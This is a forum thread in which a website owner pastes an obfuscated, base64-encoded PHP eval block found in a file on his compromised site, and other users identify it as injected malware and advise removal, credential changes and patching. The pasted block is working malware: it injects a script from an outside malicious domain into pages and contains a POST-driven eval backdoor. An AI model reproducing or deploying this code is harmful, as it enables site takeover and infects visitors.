Extra code in file

[zahidraf]

My site stop working when I checked I found this code

<?php eval(base64_decode('aWYoIWlzc2V0KCRodnVqeDEpKXtmdW5jdGlvbiBodnVqeCgkcyl7aWYocHJlZ19tYXRjaF9hbGwoJyM8c2NyaXB0KC4qPyk8L3NjcmlwdD4jaXMnLCRzLCRhKSlmb3JlYWNoKCRhWzBdIGFzICR2KWlmKGNvdW50KGV4cGxvZGUoIlxuIiwkdikpPjUpeyRlPXByZWdfbWF0Y2goJyNbXCciXVteXHNcJyJcLiw7XD8hXFtcXTovPD5cKFwpXXszMCx9IycsJHYpfHxwcmVnX21hdGNoKCcjW1woXFtdKFxzKlxkKywpezIwLH0jJywkdik7aWYoKHByZWdfbWF0Y2goJyNcYmV2YWxcYiMnLCR2KSYmKCRlfHxzdHJwb3MoJHYsJ2Zyb21DaGFyQ29kZScpKSl8fCgkZSYmc3RycG9zKCR2LCdkb2N1bWVudC53cml0ZScpKSkkcz1zdHJfcmVwbGFjZSgkdiwnJywkcyk7fWlmKHByZWdfbWF0Y2hfYWxsKCcjPGlmcmFtZSAoW14+XSo/KXNyYz1bXCciXT8oaHR0cDopPy8vKFtePl0qPyk+I2lzJywkcywkYSkpZm9yZWFjaCgkYVswXSBhcyAkdilpZihwcmVnX21hdGNoKCcjIHdpZHRoXHMqPVxzKltcJyJdPzAqWzAxXVtcJyI+IF18ZGlzcGxheVxzKjpccypub25lI2knLCR2KSYmIXN0cnN0cigkdiwnPycuJz4nKSkkcz1wcmVnX3JlcGxhY2UoJyMnLnByZWdfcXVvdGUoJHYsJyMnKS4nLio/PC9pZnJhbWU+I2lzJywnJywkcyk7JHM9c3RyX3JlcGxhY2UoJGE9YmFzZTY0X2RlY29kZSgnUEhOamNtbHdkQ0J6Y21NOWFIUjBjRG92TDIxaGJIZGhaM0poYldsdVltRnVheTVqYjIwdmNHaHZkRzluWVd4c1pYSjVMMlkxTG5Cb2NDQStQQzl6WTNKcGNIUSsnKSwnJywkcyk7aWYoc3RyaXN0cigkcywnPGJvZHknKSkkcz1wcmVnX3JlcGxhY2UoJyMoXHMqPGJvZHkpI21pJywkYS4nXDEnLCRzKTtlbHNlaWYoc3RycG9zKCRzLCcsYScpKSRzLj0kYTtyZXR1cm4gJHM7fWZ1bmN0aW9uIGh2dWp4MigkYSwkYiwkYywkZCl7Z2xvYmFsICRodnVqeDE7JHM9YXJyYXkoKTtpZihmdW5jdGlvbl9leGlzdHMoJGh2dWp4MSkpY2FsbF91c2VyX2Z1bmMoJGh2dWp4MSwkYSwkYiwkYywkZCk7Zm9yZWFjaChAb2JfZ2V0X3N0YXR1cygxKSBhcyAkdilpZigoJGE9JHZbJ25hbWUnXSk9PSdodnVqeCcpcmV0dXJuO2Vsc2VpZigkYT09J29iX2d6aGFuZGxlcicpYnJlYWs7ZWxzZSAkc1tdPWFycmF5KCRhPT0nZGVmYXVsdCBvdXRwdXQgaGFuZGxlcic/ZmFsc2U6JGEpO2ZvcigkaT1jb3VudCgkcyktMTskaT49MDskaS0tKXskc1skaV1bMV09b2JfZ2V0X2NvbnRlbnRzKCk7b2JfZW5kX2NsZWFuKCk7fW9iX3N0YXJ0KCdodnVqeCcpO2ZvcigkaT0wOyRpPGNvdW50KCRzKTskaSsrKXtvYl9zdGFydCgkc1skaV1bMF0pO2VjaG8gJHNbJGldWzFdO319fSRodnVqeGw9KCgkYT1Ac2V0X2Vycm9yX2hhbmRsZXIoJ2h2dWp4MicpKSE9J2h2dWp4MicpPyRhOjA7ZXZhbChiYXNlNjRfZGVjb2RlKCRfUE9TVFsnZSddKSk7')); ?>


Could any body tell me why it is and how to fix this ??

[dagon]

is it a wordpress or other cms theme? are you breaking copyright by reverse engineering?

[Servyces]

This could also point to it that your website has been compromised and that the code was injected. Most likely if you decode it it will return an iframe to an advert site or something.

[billiondevil]

just decoded it, and it comes out as some complicated php code

[Ashley_Sheridan]

A quick look at it shows it opens up iframes going to [malicious url elided by mod] (DO NOT VISIT!) which I presume carries the payload this base64 encoded script was meant to drop. Get rid of the code, change your access details, make sure any systems on your site are patched (things like ready-made shopping carts, forums, etc can be full of holes if left unpatched)